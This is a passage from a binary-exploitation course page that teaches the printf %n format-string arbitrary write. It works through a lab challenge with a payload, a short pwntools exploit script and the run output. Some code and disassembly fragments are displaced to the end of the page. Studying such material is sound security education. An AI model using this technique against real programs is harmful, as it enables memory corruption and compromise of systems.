Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. any-write
6 min read

Writing Anywhere

This section of challenges introduces a new vulnerability stemming from the format string: the format write. Before solving this challenge, let's discuss how to use this vulnerability.

The Format (Arbitrary) Write

The Arbitrary Write is an additional modifier to the printf format string list: %n. %n is a unique format specifier that, rather than writing data from a parameter to standard output, it writes data to the parameter. %n writes the number of bytes written thus far to the parameter of choice. Consider the following code:

c
1#include <stdio.h>
2
3int main()
4{
5	int bytes;
6

This still prints Hello World!, but also moves the number of bytes written (12) to bytes.

We can use this format specifier to change the value of an address in memory, so long as the address of that location is present on the stack. This is the arbitrary write vulnerability, and a very powerful one!

The Challenge

The challenge indicates we must overwrite a variable currently valued at 0xdeadbeef:

$ ./challYour goal is to modify the variable @ 0x7ffda83f79c8to be any other value.This exercise is to modify the variable using the %n // %hn // %hhn specifier.0x7ffda83f79b0: 0x0000000000000000 0x00000000000000000x7ffda83f79c0: 0x0000000000000000 0x00000000deadbeef0x7ffda83f79d0: 0x0000000000000001 0x00007fca9a4d8ca8Enter input:

We notice there is a clear format string vulnerability:

python
10x00000000004015d4 <+222>:   lea    rax,[rbp-0x20]
20x00000000004015d8 <+226>:

Our goal is to take advantage of the format write. In this case, we only have 0x18 bytes of input. This challenge only tasks us with changing the input; we can easily clear it to 0 only using a few bytes.

The order of arbitrary writes is the following:

  1. Write the number of bytes representing the value replacing the location.
  2. Use the format specifier to indicate we'll write that many bytes.
  3. Pad the payload to an address-sized multiple (4 for 32-bit, 8 for 64-bit)
  4. Write the address of where to write.

The most difficult task with format writes is determining what parameter to use. We'll need to remember what number we might use as we leave a placeholder for that value. If you're confused, bear with me here.

First, we must write the number of bytes. In this case, we can simply write 0 bytes as an easy way to change the value. No padding needed.

Then, we need to write the format specifier. This will be in the form %x$[size]n, where x is the argument to use. This takes four bytes. We must pad this to the size of an address block, so we need four bytes of padding after this. This means the start of our payload is one address block long. This is essential for later.

Changing the Size
Depending on what we're trying to write, it may be advantageous to change the size of the buffer we're writing in. We have several modifiers we can use to do this:
  • lln: Writing a long long (useful for clearing out a block)
  • ln: Writing a long
  • hn: Writing a short
  • hhn: Writing a byte (most used specifier, used to change one byte at a time)

Finally, we need where to write. This address is leaked for us, so we'll need to parse for this address.

Now that we have the entire payload, we can retroactively compute the argument numbers. Looking at gdb, we're writing to rbp-0x20. When the stack frame is initialized, it was initialized to size 0x20. Therefore, we start writing at rsp. Using our knowledge of computing the argument offset to our buffer (or any desired value), we can easily recognize the buffer starts writing at argument 6. Since the front half of the payload is one address block long, the address of where we're writing (the back half of the payload) must be at argument 7. We'll use lln to ensure the entire block gets cleared. Although n will almost always do this naturally, it's good to enforce 8 bytes be written and not leave it to the Runtime.

It is crucial you understand how to get this computation. This is the most challenging part and the source of nearly all errors.

Therefore, this makes the payload:

python
%7$llnAA\x88\xfa\x70\x6e\xff\x7f\x00\x00

To write an exploit, we need the leak first.

python
1print(p.recvuntil(b'variable @ ').decode())
2leak = int(p.recvline(), 16)

Then, we write the arbitrary-write payload. We make use of ljust to make this payload a bit cleaner. Rather than including the padding, we can simply use this to pad to our desired size.

python
1payload = b'%7$lln'.ljust(8, b'\x00')
2payload += p64(leak)

With this, it gets sent to the binary!

Why don't we put the address before the format string?
This is a good question and a common mistake among new exploit developers. The issue is that the format specifier must resolve, which only happens if the format specifier gets "printed". If we switch the payload, the p64(leak) pads to the size of an address using 0x00, a null-byte for strings. This null byte would trigger printf to stop printing, and thus the format specifier doesn't get resolved. This nullifies the exploit.
solution.py
$ python3 solution.py[*] './chall'    Arch:       amd64-64-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX enabled    PIE:        No PIE (0x400000)    Stripped:   No[+] Starting local process './chall': pid 150635[*] Switching to interactive modeto be any other value.This exercise is to modify the variable using the %n // %hn // %hhn specifier.0x7ffde1f11860: 0x0000000000000000 0x00000000000000000x7ffde1f11870: 0x0000000000000000 0x00000000deadbeef0x7ffde1f11880: 0x0000000000000001 0x00007fc5a5ce4ca8Enter input: [*] Process './chall' stopped with exit code 0 (pid 150635)0x7ffde1f11860: 0x00006e6c6c243725 0x00007ffde1f118780x7ffde1f11870: 0x000000000000000a 0x00000000000000000x7ffde1f11880: 0x0000000000000001 0x00007fc5a5ce4ca8
printf
(
"Hello World!%n"
,
&
bytes
)
;
7 return 0;
8}
mov esi
,
0x18
30x00000000004015dd <+231>: mov rdi,rax
40x00000000004015e0 <+234>: call 0x401070 <fgets@plt>
50x00000000004015e5 <+239>: lea rax,[rbp-0x20]
60x00000000004015e9 <+243>: mov rdi,rax
70x00000000004015ec <+246>: mov eax,0x0
80x00000000004015f1 <+251>: call 0x401060 <printf@plt>
Congrats! You successfully overflowed the target variable.